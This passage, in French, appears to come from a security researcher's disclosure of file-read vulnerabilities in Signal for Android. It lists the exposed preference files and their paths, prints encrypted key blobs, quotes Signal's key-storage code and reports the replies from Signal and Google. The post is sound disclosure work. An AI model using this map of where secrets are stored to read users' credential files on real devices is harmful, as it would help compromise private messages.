À travers ces vulnérabilités, un attaquant pourrait potentiellement accéder à la structure de fichiers internes de Signal. Notre analyse révèle à la fois la robustesse de l'architecture de chiffrement de Signal et les zones où des données sensibles restent exposées. Voici un détail de ce que nous avons découvert :

1. Répertoire des préférences partagées (/data/data/org.thoughtcrime.securesms/shared_prefs/)

Les vulnérabilités permettaient d'accéder à plusieurs fichiers de préférences XML :

FirebaseHeartBeatW0RFRkFVTFRd+MTozMTIzMzQ3NTQyMDY6YW5kcm9pZDphOTI5N2IxNTI4NzlmMjY2.xml
SecureSMS-Preferences.xml
WebViewChromiumPrefs.xml
com.google.firebase.messaging.xml
org.thoughtcrime.securesms_preferences.xml

2. Clés de chiffrement chiffrées (org.thoughtcrime.securesms_preferences.xml)

Ce fichier contient les données de configuration les plus sensibles de Signal, chiffrées avec une clé partagée stockée dans le Keystore :

<!-- Database Encryption Key (encrypted) -->
<string name="pref_database_encrypted_secret">{
    "data":"2svYD9iQG6OfHED1UaOwXE5LJxKYQF8cdOPKuO8qFSSzJjpbSQFPIek6lD6IQdgn",
    "iv":"NjYUlRR5zFafr+/O"
}</string>

<!-- Attachment Encryption Key (encrypted) -->
<string name="pref_attachment_encrypted_secret">{
    "data":"F3K0UcrC8w0tr63tV4W5YF4q/X7MtXXdu18bVg8uC3HCCEAIzwQnYrZcY82UMRkacixOojMjyFaNURV29yjuVeMSnhVQx8JjRKPOF08wUBMy3GbTOaNXPsbBxJhzQL7O1/3UniTIE3wf5GNa8PPW4KOPwtlqx8ye",
    "iv":"4poKjqQ+7uIQvNAj"
}</string>

<!-- Backup Passphrase (encrypted) -->
<string name="pref_encrypted_backup_passphrase">{
    "data":"1SPumdNl5WDvtkUhF3ELScZwItO3s/aWjr8IolTa3eFvioUvDIeAMNiXkvFhyqWPuAH4",
    "iv":"5BGyF7jmtjOA5c1x"
}</string>

3. Métadonnées et configuration

Le fichier de préférences expose également diverses métadonnées :

  • Horodatage et version de l'installation
  • Préférences utilisateur (accusés de lecture, indicateurs de saisie)
  • Horodatages de planification des sauvegardes
  • Horodatages de rotation des clés
  • Suivi de version de migration

4. Fichiers en clair

Plusieurs fichiers stockent des données non chiffrées :

  • Le fichier XML Targets expose des informations de contact pour les raccourcis de partage
  • WebViewChromiumPrefs.xml : configuration et état de la WebView
  • Configuration Firebase : tokens et configuration des notifications push
  • Divers fichiers de cache : données temporaires et préférences utilisateur

Contacts ouverts à /data/data/org.thoughtcrime.securesms/files/ShortcutInfoCompatSaver_share_targets/targets.xml :

<?xml version='1.0' encoding='UTF_8' standalone='yes' ?>
<share_targets>
<target id="2" short_label="Note to Self" rank="1" long_label="Note to Self" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="4" short_label="Toto" rank="2" long_label="Toto TopBar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
<target id="20" short_label="Foo" rank="0" long_label="Foo Bar" component="org.thoughtcrime.securesms/org.thoughtcrime.securesms.RoutingActivity">
<intent action="ConversationIntents.ViewConversation" targetPackage="org.thoughtcrime.securesms" targetClass="org.thoughtcrime.securesms.conversation.v2.ConversationActivity" />
<categories name="org.thoughtcrime.securesms.sharing.CATEGORY_SHARE_TARGET" />
</target>
</share_targets>

Signal met en œuvre un chiffrement multi-couches. La première couche est le chiffrement de la base de données à l'aide de SQLCipher :

private static @NonNull DatabaseSecret getOrCreate(@NonNull Context context) {
    String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
    String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);

    if (unencryptedSecret != null) 
        return getUnencryptedDatabaseSecret(context, unencryptedSecret);
    else if (encryptedSecret != null) 
        return getEncryptedDatabaseSecret(encryptedSecret);
    else 
        return createAndStoreDatabaseSecret(context);
}

La deuxième couche est réalisée à l'aide d'Android Keystore :

private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
    SecureRandom random = new SecureRandom();
    byte[] secret = new byte[32];
    random.nextBytes(secret);

    DatabaseSecret databaseSecret = new DatabaseSecret(secret);

    if (Build.VERSION.SDK_INT >= 23) {
        // Use hardware-backed encryption when available
        KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
        TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
    } else {
        // Fallback for older devices (less secure)
        TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
    }

    return databaseSecret;
}

Ces protections empêchent de transformer directement la lecture arbitraire de fichier en une compromission complète du compte Signal. Une seconde vulnérabilité serait nécessaire, comme un oracle de chiffrement présentant des faiblesses cryptographiques ou un contournement du Keystore.

Réponse de Signal

La réponse de Signal à ces découvertes — reconnaissance en 3 heures et déploiement de correctifs en quelques jours — démontre son engagement envers la sécurité des utilisateurs. Bien que des améliorations soient possibles, leur approche de défense en profondeur garantit que, même avec ces vulnérabilités, les messages des utilisateurs restent fortement protégés.

Point clé à retenir : la sécurité est faite de couches, et si chaque couche peut présenter des faiblesses, leur combinaison offre une protection robuste. L'architecture de Signal illustre ce principe, même si nos découvertes montrent qu'il existe toujours une marge de progression.

Réponse de Google

Google a indiqué que les deux problèmes fonctionnent comme prévu ; voici leur réponse :

Réponse de l'équipe de sécurité de Google à la vulnérabilité signalée

Réponse détaillée et raisonnement de l'équipe de sécurité de Google

Références

Tags :

security